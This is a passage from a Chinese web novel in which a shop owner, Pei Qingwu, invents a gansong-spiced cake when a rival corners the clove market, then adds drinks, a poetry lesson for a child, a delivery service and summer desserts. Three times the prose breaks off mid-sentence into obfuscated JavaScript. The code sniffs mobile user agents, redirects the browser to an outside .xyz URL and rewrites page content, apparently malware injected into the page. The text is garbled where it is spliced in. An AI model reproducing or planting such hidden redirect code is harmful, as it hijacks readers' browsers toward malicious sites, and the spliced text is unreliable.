她先是采买来上好的麦粉、芝麻、蔗糖块与赤小豆。 最关键的，还是那几味辛香料。 从胡商处采买的丁香研磨成细末，再配以花椒、桂皮、八角等，捣成混合香粉。 制作时，先用滚水将蔗糖块化开成稠浆，与熟赤豆沙、少许荤油仔细拌匀成绵密的馅心。 另取麦粉，调入温水和成面团，擀作薄片，涂一层薄油，再撒上预先混合好的丁香末与五香粉。 面片卷成长条，旋切成剂子，压扁包入豆沙馅，捏拢成扁圆状，边缘掐出精巧的花褶，而后再撒上一层芝麻。 柴火灶上支起平底铛，裴清梧将生饼坯小心贴入铛中，文火慢烙。 片刻间，一股醇厚复杂的辛香便袅袅升腾。 那香气融合了丁香的穿透力、花椒的麻意、桂皮甘甜与八角的回韵，被烘烤的麦香和芝麻香层层托起，充盈了整个后厨。 饼熟起铛，色泽金黄带焦云纹。 裴清梧唤来顾恒及众人来分食。 刚入口，酥脆的饼皮簌簌落下，滚烫的豆沙馅裹挟着浓郁的五香辛味和独特的丁香气韵涌出，甜而不腻，咸香微辛，层次分明，后味悠长。 “好吃！是不同的味道！” “若是有不爱甜口的客人来，正好推荐这种！” 品尝罢，众人眼睛一亮，啧啧称奇，都说从未尝过如此风味奇绝的点心。 由于大家都说好，次日开张时，新出炉的五香丁香饼被切成精巧小块置于细瓷碟中，旁书“新品试啖”。 还是裴清梧常用的营销策略，新品免费试吃，以吸引顾客，打出口碑。 那热腾腾的异香极富侵略性，仿佛一只无形的手，轻易就勾住了路过行人的鼻息。 “此乃何香？如此诱人！” “这是我们东家新做的五香丁香饼，客人尝尝，不收钱的。” 一边候着的茜桃笑盈盈递上一块。 客人接过入口，先是外层芝麻酥脆喷香，继而辛香豆沙滚烫涌出，丁香的锐利与五香的醇厚在舌尖交织，糖的甘润、豆沙的绵密恰到好处地包裹着那股奇妙的辛香，让人精神一振，胃口大开。 “好！此味甚合我意！快快与我包上两斤！” 尝过的人都觉新奇又美味，争相购买。 酥山小集前人潮渐聚，铜钱落瓮叮当之声不绝，新品甫一上架便引得客似云来。 接连几日，五香丁香饼的生意都不错。 这点心味道新奇好吃，许多人都想尝个鲜，再加上口碑的确很好，一传十，十传百，铺子门口是络绎不绝。 “东家，这丁香饼卖的的确最好。” 用罢晚饭，五娘拨弄着算盘珠子，喜气洋洋地与裴清梧汇报。 “城东的纪员外，一口气订了十多份呢。” “还有，赵娘子也订了不少。” “公主也说好呢。” 众人你一眼我一语，尽是赚到钱的喜悦和鼓舞。 只是…… “师父，这会子的材料，只够做十五屉丁香饼了。”于意道。 接连两次，裴清梧因食品问题被陷害，她也长了个心眼，尽量保证点心每日现蒸现做，若有卖不完的，或是自己人分食，或是喂给外头的流浪狗，哪怕都扔了，也绝不卖过夜的。 此刻原材料的确如于意所说，不多了。 “我明日再买些回来。”裴清梧并不放在心上。 翌日清晨，秦州西市。 波斯邸是城中专门贩卖异域食材的地方，裴清梧一早便到了，刚掀开帘子，里头特有的浓郁香料气息，便扑面而来。 身材高大，卷须浓密的胡商赛义德一见裴清梧，那双精明深邃的蓝眼睛立刻堆满熟稔的笑意：“裴东家！我的老朋友！又是为了那珍贵的丁香花蕾而来？” “正是，烦请赛义德老板按老价钱，备足十日的量。”裴清梧开门见山。 赛义德脸上的笑容瞬间冻结，继而化作夸张的惋惜与为难。 “哎呀！裴东家！这可真是……不巧得很呐！”他摊开双手，肩膀耸动：“您是知道的，我们的货都是海运来的，海上风浪无常，上一批丁香，实在被风浪吞没了不少，从岭南到秦州，路途又实遥远，能运来的，实在是太少。” 说着，他凑近一步，压低声音：“如今好丁香，价比黄金，不过看在老朋友份上……” 他伸出三根手指：“三倍！只要这个数，我立刻给您备上最好的丁香！保证颗颗饱满，香气浓郁！” 三倍？裴清梧心中冷笑。 这坐地起价的贪婪嘴脸，真当她裴清梧是傻子啊。 赛义德还在喋喋不休地强调着路途的凶险与丁香的珍贵，裴清梧面上静若止水，只那双清亮的眼眸处，已凝起一层寒冰。 她抬手，止住对方的话头：“赛义德老板的心意，我心领了。只是这价比黄金的丁香，我本就小本生意，实在供奉不起。” 说完，竟不再多看一眼赛义德那张错愕之后瞬间阴沉下去的脸，拂袖转身，决然离去。 顾恒抱着空口袋，亦步亦趋跟在后面。 只觉自家东家那挺直的背影，那不卑不亢的态度，实在是…… 太帅了。 回到铺子后院，压抑的气氛让空气都显得滞重。 茜桃、银岚等人听闻赛义德竟敢开出三倍天价，无不愤慨。 “欺人太甚！”石大勇一拳砸在案上：“定是有人在背后搞鬼，见咱们丁香饼卖得好，断了咱们的根！” “就是啊，哪有这样做生意的。”锦娘也说。 裴清梧却已沉静下来，径直走向角落堆积的书卷。 她信手翻开一本旧得发黄的《新修本草》①，指尖快速掠过一行行墨字，目光最终停留在“甘松香”几个字上。 “甘松香，味甘，温，无毒……主恶气，卒心腹痛满，下气。” 旁边还有小字批注：“其气芬芳，可行气止痛，醒脾开胃。” 甘松？ 裴清梧心中一动。 这是一种本土山野常见的药用植物根茎，气味辛香特异，虽非花蕾，但其香气亦属辛香醒脾一路。 她脑中灵光闪现，倏地起身：“阿恒，你速去药肆，采购上好的甘松香来，茜桃，随我去库房，把之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352802|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采买试味的野山椒、木香花干都找出来！” 不就是丁香吗，没了丁香，她大可以用旁的东西来替代。 为了研发，灶火日夜不熄，空气中弥漫着各种奇异的味道。 第一次尝试，以研磨成粉的野山椒为主。 饼铛刚热，一股呛辣的烟气便直冲而起，熏得五娘连连咳嗽。 烤出的饼，更是馅心里的豆沙裹挟着灼人的辛辣，入口如同吞火，众人只尝一口，便纷纷灌水，摇头苦笑。 第二次，换作气味馥郁甜媚的木香花干磨粉。 饼倒是烤得金黄诱人，咬下去，初时花香满口，甜腻得过了头，后味却隐隐发酸发闷，如同脂粉香气堆叠过度，甜腻得令人头晕反胃。 接连的失败并未让裴清梧气馁，她将目光投向药肆买回的甘松香。 扭曲盘结的深褐色根茎气味极为独特，初闻是浓郁的泥土气息，带着类似松脂的甘冽，细嗅之下，又有一股略带药感的辛香底蕴，绝非甜腻脂粉可比。 “取其辛香醒脾之性，或可一试。” “但如何驯服这份甘苦之气呢？” 裴清梧一边将甘松香捣成粉末，一边凝神思索，脑海中闪过《齐民要术》中渍果之法。 她让五娘取来一小罐上好的米酒，将捣碎的甘松香末细细浸入其中，又加入少许石蜜调和甘苦。 酒液浸润着香料，丝丝缕缕的药香与醇厚的酒香蜜香缓缓交融。 一日后，滤去酒液，那湿润的甘松香末竟褪去了生涩的草木气与突兀的甘苦，透出带点回甘的复合辛香。 这味道闻的裴清梧精神一振，立刻以此酒渍甘松末为主，重新调整配方。 花椒取其麻意锐减一半，桂皮的甜暖稍稍加重以中和平衡，八角增香的分量也做了精细的增减。 就这样，新的饼坯贴上烧热的饼铛。 这一次，升腾而起的香气截然不同。 没有丁香那瞬间直抵鼻腔的清冽锐香，却有一种更为浑厚温和的木本辛香悠然弥散。 这股香气如暖流，如松风，被烘烤的麦饼焦香稳稳托住，芝麻粒在热力下滋滋作响，爆出浓郁的坚果油脂香。 第一炉撒满了芝麻的扁圆饼坯带着诱人的焦黄云纹出锅时，整个后厨房都静了下来。 众人屏息，看着裴清梧小心掰开一个。 酥脆的饼皮应声碎裂，露出里面冒着热气的深褐色豆沙馅，浓郁的辛香伴着滚烫的热气，喷涌而出。 裴清梧自己先尝了一口。 入口，是酥脆的饼皮，随即是香甜的豆沙涌入口腔。 那滋味，是桂皮与米酒的甘甜、花椒的微麻及八角的回韵，被独特的酒渍甘松香巧妙融合，完美包裹着豆沙的绵密香甜。 它不仅没有预想中的药苦，反而在辛香过后，于舌根处清晰地升起沉稳悠长的回甘，咸香微辛，层次分明，后味悠长。 “成了！”裴清梧眼中迸发出连日来最明亮的光彩。 “让我尝尝！”五娘也迫不及待地拿起一块塞进口中，细细咀嚼片刻，眼睛猛地睁大。 “天爷！这、这味儿！师父，绝了！比那丁香饼更好吃！” 于意也小心翼翼咬了一口，随即脸上绽放出惊喜的笑容：“真的！那股冲鼻子的劲儿没了，可这香更悠长了！吃到肚子暖乎乎的，舒服！” 众人分食过后，无不交口称赞。 裴清梧当机立断：“就它了，明日上架。” 30. 研发饮品 第二日清晨，改良后的松香饼正式上架试吃。 照例，酥山小集门口排起长队。 然而等待的人群中，很快便混入了几个行迹可疑之人。 他们衣着普通，眼神却飘忽不定。 “掌柜的，这我们大家都是为了五香丁香饼而来，你们这招牌上，怎么写的是松香饼？听都没听过！” 一个尖嘴猴腮的男人在快排到时故意大声嚷嚷：“怕不是没了丁香，胡乱拿些杂树根充数吧？糊弄谁呢？” 他一边说，一边斜睨着茜桃递上的试吃小饼，满脸鄙夷。 “就是就是，”旁边一人立马帮腔，指着铺内：“你们闻闻，这铺子里如今是什么怪味？又苦又涩的，定是东西不正，用了坏料！” 他声音洪亮，引得不少不明就里的路人纷纷侧目，伸头嗅闻，脸上果然露出几分疑惑。 甘松的香气确实迥异于丁香，不识者乍闻之下，确感特异。 茜桃端着试吃碟的手微微僵住，脸颊因气愤涨得通红：“你、你们血口喷人！我们酥山小集的点心，向来用料都是顶顶好的！” “你是酥山小集的伙计，自然向着你们自家铺子说话了。”男人冷笑：“大家伙都是冲着丁香饼来的，丁香呢？哪里去了？” 见这副模样，一直在后边的裴清梧怎会不知，这几人，就是被派来砸场子的。 “东家，他们实在欺人太甚！”顾恒愤愤道，不自觉握紧了刀柄：“不知是哪些黑心肝的，这样给东家使绊子！” “别急，我先去会会他们。”裴清梧安抚好了顾恒后，从后边走出，朗声道：“诸位客人稍安。” 她并未与那几个砸场子的争辩，只端起茜桃手中的试吃小碟，径直走向人群前排几位老客，笑容温煦诚挚：“列位客人，是非曲直，口舌争辩无益，如今丁香价高，我便用松香代替，这饼好不好，终究得落在这舌尖心头，诸位不妨亲尝一品，自有公断……若是不合心意，转身便走，酥山小集绝无二话。” 她这番不卑不亢、以味服人的姿态，瞬间赢得了围观者的好感。 那几位被点到的客人本就好奇，当即欣然接过小饼，轻咬一口，细细品味。 “妙极啊，此饼，较原料为丁香时，更清新隽永，还有松柏之清香。” “那是，裴东家的手艺，尝过的，都说好！” 见品尝过的客人都说好，其余人也便不再疑惑，纷纷解囊购买。 一时只忙着招待客人，再一抬头时，那几个闹事的，却无声离去。 无妨，背后的人既然有一，那就有二，兵来将挡，水来土掩便是。 裴清梧现在在思虑另一件事。 如今铺子里，卖的都是点心。 眼下已然开春，北方的春天都极短，用不了眨眼的功夫，就到了夏季。 若是，铺子里有生津止渴、消暑解热的饮品，配上点心一起吃，岂不更能吸引顾客？ 虽说如今，会有茜桃去为客人点茶，可那还不够。 思来想去，先定下了两种，分别是宫桂米酿，和碧荷清露茶。 这两种都是宋朝时的特色饮品，前者是宫廷甜酒茶，米酒加桂花熬煮，暖胃又应景，如今春寒犹料峭，喝上这样一碗，再合适不过。 而此时虽未真正热起来，可定有嗜冰之人，不论何时，都要喝上一碗冰凉沁爽的。 裴清梧就是这样，在现代的时候，哪怕数九寒冬了，她去买果茶奶茶咖啡之类的，也要多冰。 是以，碧荷清露茶，这种宋代时的文人饮，就是极好的。 它取清晨荷叶上的露水，搭配新茶冲泡，清冽带荷香，也不用冰，只在井水里湃着，取其凉意即可。 这两款饮品只是试上架，反响若是不错，她再上新的。 然后便理所当然地觉得，这铺子，又小上了不少。 只是五娘和于意尚未出师，开分店的事，也只能再等等。 这日，裴清梧照例摘抄着目前铺子里点心的做法，以备汇集成册时，念慈找了过来。 “东家姐姐，这诗，我读不懂，你能教我吗？” 裴清梧放下笔，揉了揉有些发涩的眼睛，目光落在念慈捧着的书卷上。 上头正是诗经的《卫风·氓》。 “诗经里的好些，我读懂了，可就这个……” 裴清梧点点头，拉过一张小凳让念慈坐下，温声道：“这诗讲的是一位女子的故事，也是世间常有的事，姐姐慢慢讲给你听。” 她指着开篇：“你看这句，‘氓之蚩蚩，抱布贸丝。匪来贸丝，来即我谋。’是说一个看似忠厚的男子，抱着布匹来换丝。其实啊，他哪里是真的要换丝？他是来打主意，想和这位姑娘结亲呢。” 她尽量用浅显的话解释。 “那姑娘答应了？”念慈睁大眼睛。 “嗯，‘送子涉淇，至于顿丘。匪我愆期，子无良媒’，姑娘送他渡过淇水，直到顿丘。不是姑娘故意拖延婚期，是怪他没有好媒人来说合。”裴清梧顿了顿，声音放得更柔和些：“这开头，是不是还能看出姑娘的欢喜和期盼？就像春日的新芽。” 见念慈点头，她继续往下：“‘桑之未落，其叶沃若’，桑叶茂盛时多好，可‘桑之落矣，其黄而陨’，桑叶总会枯黄飘落，就像人心会变，那男子当初‘信誓旦旦’，后来却‘不思其反’，忘了誓言，也忘了初心。女子嫁过去，夙兴夜寐，辛苦操劳，可‘言既遂矣，至于暴矣’，日子稳定了，丈夫反而粗暴起来，甚至‘二三其德’，心思不定……” 念慈听得小眉头紧锁，下意识抓住了裴清梧的袖子：“那姑娘怎么办？” 这时，一旁整理账目的五娘也停下了笔，显然被这故事吸引，脸上带着不忿。 裴清梧轻抚念慈的头发：“她自然是醒悟了，‘反是不思，亦已焉哉！’既然他违背誓言不念旧情，那就这样算了吧。” “你看，多么决绝——‘及尔偕老，老使我怨’，当初说好白头偕老，如今想来只让我怨恨；‘淇则有岸，隰则有泮’，淇水再宽也有岸，沼泽再广也有边，可他的狠心却没有尽头。所以她说‘总角之宴，言笑晏晏’，回忆年少时的美好誓言，然后‘反是不思，亦已焉哉！’——罢了罢了，彻底了断！” 五娘忍不住拍了下桌子：“说得好！这样的负心汉，就该离得远远的！” 裴清梧看向念慈，见她虽懵懂，但眼神里满是认真，便总结道：“这诗讲的是遇人不淑、情意变迁的伤心事，也讲了一位女子从痴心到醒悟、最终决然离开的勇气。念慈要记住，世间情意固然美好，但女子更需自强自立，像我们的铺子一样，凭真本事立身。若有朝一日所托非人，也要有‘反是不思，亦已焉哉’的清醒和骨气。” “就像，就像我娘一样吗？” 提起与孙癞子和离后，重获新生的锦娘，裴清梧也觉得这个例子合适：“是啊，就像你阿娘，遇上孙癞子不是她的错，她后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另用小锅，滚着早已煨得浓白的羊汤，汤色如乳，热气氤氲着羊肉特有的醇厚鲜香。 她快刀片下几片熟羊肉，撒入一把翠绿的芫荽末，将煮得恰到好处的面条捞入海碗，再注入滚烫羊汤，最后点上几滴提味的香醋。 动作行云流水，不过片刻，一碗热气腾腾、香气扑鼻的羊肉汤面便成了。 浓郁的羊汤鲜香，混合着芫荽的辛冽，直窜肺腑。 顾恒深吸了一口这香气，挑起一箸吸饱了汤汁的面条送入口中，面身筋道爽滑，裹着羊汤的鲜美在舌尖化开。 再喝一口汤，汤头醇厚温润，毫无膻气，只有羊肉特有的甘腴与香料煨煮出的层次在口中蔓延，熨帖着空乏的肠胃，暖意瞬间从喉头涌向四肢百骸。 他顾不上烫，埋头大快朵颐起来，吃得酣畅淋漓，额角微微沁出汗珠。 待到碗空汤尽，他才满足地放下碗，抹了抹嘴，神色随即转为凝重。 “东家，”他压低了声音：“查到了……是城东梁家的瑞芳斋从中作梗。他们的掌柜眼见我们酥山小集的生意红火，尤其是五香丁香饼风靡一时，抢了他家不少主顾，怀恨在心。不知用什么法子，勾结上了波斯邸的老板赛义德。” 31. 外卖服务 裴清梧正收拾碗筷的手顿了顿：“哦？如何勾结？” “梁景山那老狐狸，暗中抬高了丁香在波斯邸的挂牌价，并且预付了大笔定金，要求赛义德将近期运抵的新鲜上品丁香尽数囤积，只放出少量陈货抬高市价，还散布丁香即将断货短缺的流言。” 顾恒一边说，一边愤愤的咬嘴里的羊肉，仿佛那是梁景山身上割下来的。 “他们的算盘，是让我们要么被迫用天价丁香维持招牌，成本陡增难以为继；要么断供丁香，招牌受损。” “无论哪种，都能重创我们酥山小集的声誉和生意，今日门口闹事的那几人，多半也是梁家花钱雇来的泼皮。” 烛火摇曳，映着裴清梧沉静的侧脸。 “原来如此，恶意抬价，断我原料，再派人搅局……好一招釜底抽薪、落井下石……”她说着，指关节无意识敲打着桌面。 “看来，这商战，躲是躲不过了。阿恒，这几日辛苦你，再多留意瑞芳斋和波斯邸的动向，特别是……他们囤积的丁香究竟藏在何处，知己知彼，我们才好兵来将挡。” “是，都听东家吩咐。” 这波丁香危机，算暂时躲过去了。 这一日，裴清梧照例早早开张，卖灌汤包和七宝素粥，可充作朝食。 卯时天色微熹，酥山小集的灶间，已是热气蒸腾。 裴清梧系着围裙，在宽大的案板前忙活。 青瓷盆里，放着昨日就精心准备的馅料。 选的是新鲜猪前腿夹心肉，细细剁成茸，拌入早就用土鸡吊好的高汤皮冻末，再佐以姜末、葱白和细盐提味。 五娘在一边，用力搅拌着馅料，旁边是于意揉面团，清水与精白面粉反复摔打，渐渐变得柔韧光滑，延展性极佳。 裴清梧取过一小团醒好的面，擀面杖下去，眨眼间便摊开一张薄如蝉翼的圆形面皮。 另一边，硕大的杉木桶里，七宝素粥正咕嘟冒泡。 昨夜浸泡饱满的粳米、小米和糯米，已熬至开花粘稠，银岚在一边，将切得细碎的各色宝料正次第入锅。 嫩黄的玉米粒、碧绿的青豆、艳红的枸杞、洁白的莲子、深褐的薏仁、圆润的花生，还有最后撒入的雪白山药丁。 灶下松柴旺火不急不躁，米香、豆香与各色清甜气息在氤氲的白雾中完美融合，温暖的气息弥漫了整个铺子。 第一笼灌汤包出屉，热气腾腾，薄皮吹弹可破，隐约可见内里晃动的琥珀色汤汁。 小心翼翼夹起，轻轻咬破一个小口，滚烫鲜香、浓郁至极的汤汁瞬间涌入口中，烫得人舌尖微麻，同时，一股鲜美直冲脑门。 皮薄韧而不破，吸尽汤汁后，紧实细嫩、饱含肉汁的馅儿，吃起来更是齿颊留香。 七宝素粥入口，稠滑温润，米粒早已融化无形，各式豆类谷物软糯适口。 莲子清苦回甘，薏仁微弹，枸杞点缀清甜，山药绵滑……各种天然谷物的香甜，在唇齿间层层绽放，暖胃又熨帖。 店门外，已有熟客循着这诱人的香气，驻足等候了。 “裴东家，今日这粥，闻着就不错。” 同住安业坊的蒋铁匠，是今日第一个到的，裴清梧亲自盛了一碗，笑吟吟地递给他。 “蒋大哥等这么捧场，我怎好刻意怠慢？砸了自家口碑，可是怎么，都正不回来了。” “说的是，咱们做生意的，口碑最重要的。” 蒋术是个粗人，行事没那么讲究，一只脚踩着板凳，碗凑到唇边，呼噜呼噜地溜着边喝。 没过一会儿，一碗七宝素粥，就被尽数喝光。 他又吃了几张胡饼，两个灌汤泡，拿毛巾边擦嘴边说：“哎呀，还得是裴东家的这一口啊，别家的粥，都没那个味。” “承惠，蒋大哥慢走。”裴清梧笑着收下钱财，送蒋术离开。 此刻铺子里的人渐渐多了起来，见茜桃五娘还有于意三个人合起来，都忙得团团转，裴清梧也索性赶紧帮忙招呼了起来。 “东家这里生意不错啊。” 熟悉的声音传来，裴清梧转过头去，果不其然，是张俭张公。 “张公来啦，也是要吃朝食么。”裴清梧笑问：“您是我的大恩人，这一顿，就当我请您了。” 张俭摆手：“不必不必，你小本生意，我也不好占这个便宜，一份灌汤包，一份七宝素粥，按价让我付钱就好。” 都是敞亮人，见推脱不掉，裴清梧也只能将钱收下。 相比于蒋术，张俭的吃相就斯文了许多，一碗素粥，硬是让他品出来香茗的感觉。 “呼～这粥可真是妥帖，怪不得，你这里生意兴隆。” “张公谬赞了，不过是想着，要对的起客人，用料实诚些，做的时候，也用心些罢了。” 张俭点点头：“是啊，诚为本。” 说着，他又饮了一口素粥，感叹道：“这个味道……可惜，你这里离我的居处，是有些远了。” 这样的一句无心之言，落在裴清梧耳中，却有如霹雳。 她在现代读书的时候，离学校很远的地方，有一家生意极火爆的甜品店。 他们家在美团外卖上，显示是全城配送的，但配送费可想而知，是有天裴清梧奖学金到账，想奢侈一把，点了他们家的提拉米苏、芝士火腿碱水球和虎皮蛋糕卷。 等了很长时间，等到裴清梧都暴躁了起来，小哥才将东西送到她手上。 “什么玩意儿，配送费这么贵，我再也不跟风了……”裴清梧一边嘟囔着一边打开包装，在吃了一口后，眼里立刻清澈了。 那口感，实在是…… 惊为天人！ 顿时，裴清梧觉得，花那么多钱，等那么长时间，太值得了，值得到她后来还专门挑了个没课的日子，公交转地铁，大老远跑去门店买。 虽然是工作日，但店门口依旧排起了大长龙。 古代不比现代，公共交通发达，但凑热闹、吃美食的心，都是一样的。 酥山小集这么有名，肯定有不少人想来尝尝，大老远地，来一次两次可以，若是后来想吃呢？ 反正她这些时日在秦州街头游走，发现闲汉还不少，偶尔停下，立刻会上前询问，要不要人做活。 既然如此，她可不可以雇这种人，开辟酥山小集特有的“外卖服务”？ 虽然古代不可能弄什么手机上的外卖平台，但递个纸条，让人拎着有保温功效的食盒送过去，还是不难办到的。 至于这些“外卖员”，暂时可以是日结的临时工，等做大做强，更有钱了，就可以聘用正式工了。 想到这里，她险些没激动地跳起来。 “张公，我想到了一个极好的办法，或许日后，可让你在家，也能吃到我们酥山小集的点心。” 闻言，张俭也来了兴趣。 “哦？什么办法？” “待我先试试，若是可行，必第一个将张公您爱吃的点心送到家。” 说干就干。 待朝食时间过去，铺子里撤了灌汤包的蒸笼和盛粥的木桶，五娘和于意将今日上架的点心一个一个摆放的时候，裴清梧招呼着顾恒出了门。 “东家，我们要做什么去？”顾恒不解。 “干大事去。” 她先去拉着顾恒，直奔太白楼而去。 太白楼的掌柜杜回正坐在那里看账本，见裴清梧风风火火地进来，立刻起身拱手道：“裴东家今日怎得空光临敝店？可是来尝尝我们的新菜？” 裴清梧盈盈一福，开门见山道：“杜掌柜安好……冒昧打扰，奴家是想与掌柜的做个小小的尝试。” “尝试？” “我这个点子若成，往后若是临时需要点心时，可不劳贵店伙计跑腿，我遣人直接送来，保证新鲜热乎。” 杜回捋着胡须，眼中精光一闪，笑道：“裴东家心思活络，是个妙人，那便请拿来，让杜某见识见识。” 裴清梧点点头，问过杜回需要什么点心的时候，便带着顾恒离去。 她早已裁好的素笺，用随身携带的炭笔记下：“太白楼，要龙须酥一份、玉絮糕二份。” 而后，她与顾恒快步走出坊门，来到东市附近人流汇聚的街角。 果然，那里蹲着几个穿着短褐、无所事事的闲汉，正晒着太阳等活计。 裴清梧上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371159|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前，选了其中两个看着尚算机灵的汉子，略一施礼道：“二位大哥，我这有一桩跑腿的活计，日结工钱，一次三十文，可有兴趣？” 三十文一日，对闲汉来说已是相当不错的报酬。 两人立刻站了起来，拍着胸脯道：“小娘子尽管吩咐！送信？搬货？俺们力气有的是！” “并非重活。”裴清梧拿出那张订单笺：“劳烦二位大哥，将此单送回我安业坊的酥山小集铺子，交给伙计茜桃，待点心备好，再劳烦二位提着食盒，按地址送到太白楼杜掌柜手里，只需腿脚麻利，路上莫要耽误，确保点心送到时还是温热的，如何？” 这活听起来简单，报酬又高，两个闲汉哪有不应之理？ 接了订单笺，拔腿就往安业坊跑去。 裴清梧和顾恒便回了太白楼内，点了两个酒菜等候。 约莫两刻钟后，两个闲汉气喘吁吁地跑了过来，其中一个手里稳稳提着一个裴清梧特制的双层食盒。 外层竹木，内层厚棉絮保暖。 杜回接过食盒，入手仍有余温，打开一看，点心完好无损，热气虽散了些，却绝未凉透。 “好！二位辛苦了！”裴清梧验过货，爽快地付了每人三十文钱。 两个闲汉摸着沉甸甸的铜钱，喜笑颜开，连声道谢。 第一次尝试，竟如此顺利。 裴清梧心头一块大石落地，眼中光彩更盛。 此时，杜回又写好了新的订单笺，说定了明日要的点心 裴清梧将其，连同食盒，再次交给旁边眼巴巴看着的两个闲汉：“再辛苦二位大哥跑一趟，将此订单送回铺子，告知伙计备货，傍晚依言送到客人府上，这送去的工钱，另算三十文。” 望着闲汉再次飞奔而去的背影，裴清梧与顾恒相视一笑，都看到了对方眼底的振奋。 “成了，阿恒！这条路，行得通！”裴清梧用力握了握拳。 第二日，卯时刚过。 酥山小集刚开门，裴清梧便在铺子门外最显眼的地方，挂起了一块新制的木牌，上面清晰地写着几行大字： 【惠民新举】 酥山小集即日起，试办代步寄食之务。 安业坊内诸位邻里，若不便亲临，只需寻臂缠青布条者告知所需。敝店备齐点心，即刻由人送至府上。 详询店内伙计。 牌下，已站了四个昨日裴清梧特意挑选且谈妥的闲汉。 他们一色的干净短打，手臂上皆醒目地缠了一条靛青色的粗布条作为标识，昂首挺胸，精神抖擞，与往日蹲街角时的懒散模样判若两人。 裴清梧事先已给他们讲清了规矩和工钱——日结三十文，送得勤快另有少量赏钱，并再三强调要规矩勤快，不得偷懒耍滑、偷吃或损坏点心。 “东家，”一位刚买完朝食的老主顾好奇地指着牌子问道：“这‘代步寄食’，便是说，我想吃你家点心又懒得跑，找这些臂缠青布条的去说一声，你们就给送到家？” “正是如此，大娘！”裴清梧笑着接过话：“您看，这些位小哥便是我们雇的跑腿，您只需告诉他们想吃哪几样、送到何处，他们会记下送来铺子，我们做好装盒，再由他们尽快送到您家里，省您一趟腿脚功夫。” “哎呦！这法子可真是贴心！”旁边一位腿脚不便的老丈拄着拐杖，闻言连连点头：“孙儿天天嚷着要吃你家的玉絮糕，老朽这腿是真不愿动弹。若有人能送点心上门，那可再好不过。” 新奇的服务，立刻吸引了众多目光和议论。 有觉得便利的，也有持观望态度的。 很快，一个臂缠青布条的少年跑腿便接了他的第一单。 是住在坊内另一头胡员外府上遣来的小厮。 小厮直接找到了铺子门口的跑堂少年，递上一张写着“金乳酥两枚，鲜花饼一碟，申时初送至胡府”的纸条和定金。 少年跑腿记下要求，飞快跑回铺子下单。 申时初，那少年便提着特制食盒，稳稳当当地将点心送到胡府门房，点心依旧温热软糯。 这个结果，让裴清梧心中大定，自然，酥山小集的生意又攀了一个新的高峰。 32. 有狗子了 酥山小集的外卖服务，可谓是如火如荼。 很快，就不仅仅局限于安业坊了，附近的几个坊市也开始了外卖服务。 胳膊系着青布的跑腿小哥穿梭在大街小巷之中，忙得不亦乐乎，将一盒又一盒的点心送到顾客手中。 从春寒犹料峭，送到了暑热微蒸腾。 酥山小集的东西都是应时节的，见如今秦州城的天，一日热过一日，裴清梧便顺应时节，在店内上新了夏日的点心。 有这个时代的冰淇淋，酥山； 乳或羊乳提炼的酥油，加热融化后，再拌入蜂蜜、蔗糖和樱桃汁调味，再将温热液态酥油层层淋洒堆积在盘碟中，形成山峦状，放入冰鉴之中冷冻定型，食用前，再饰以彩树、小花等点缀。 成品是乳白或粉色，口感类似现代凝固的奶油冰淇淋，绵密细腻中，带着细碎的冰晶感。 入口冰凉醇厚，乳香浓郁，甜润中透出果香。 有现代的冰面包； 特制的甜软面包胚，出炉晾凉后，迅速填入冰凉馅心，或是用酥油奶酪混合果酱调成的凝乳馅，或是浸透糖汁的冰凉果肉丁。 冰鉴冷藏后，蓬松的面包裹着沁凉的内芯，一口咬下，冰爽与柔润交织，瞬间驱散燥热。 有改良过的雪媚娘； 薄如蝉翼、冰滑软糯的糯米冰皮，包裹着大勺打发的冰凉乳酪或细腻豆沙，中心再藏入一颗脆甜的当季鲜果，如冰镇桃肉，甜瓜丁等。 外形圆润洁白似雪球，入口冰凉软糯，乳香果香在口中化开，是暑天难得的清爽享受。 点心有了，饮品自然也少不了。 有香薷冷圆子； 取解暑药材香薷，熬煮成清冽甘香的凉汤，滤净后冰镇，小巧弹牙的糯米圆子煮熟过凉，最后撒上少许干桂花。 汤水带着草本植物的清凉微辛，圆子软糯冰滑，一碗下肚，是从喉间蔓延开舒适的凉意。 还有杏酪冰； 熟透的黄杏熬煮成浓稠果酪，滤去渣滓，加入牛乳增香，调以蜜糖，待其冷却凝结成细腻的杏酪霜后，再铺在细细凿碎的冰屑之上。 杏酪如浮雪，入口酸甜绵密，奶香醇厚，下层冰屑沙沙作响，一勺挖下，层次鲜明，酸甜冰爽，令人回味。 这些新鲜的夏季点心，无疑为酥山小集的招牌再添一道保证。 裴清梧每日带着两个徒弟在案后忙碌，茜桃推销这些，嘴皮子都快磨薄了。 做餐饮业就是偷懒不得，而裴清梧又是一直信奉诚信经营，实诚的人做生意，总会格外忙碌。 是以，某一日忙碌完闭店，她拿着没卖完的雪媚娘去找念慈的时候，才记起来，这段时间，她忽略了什么。 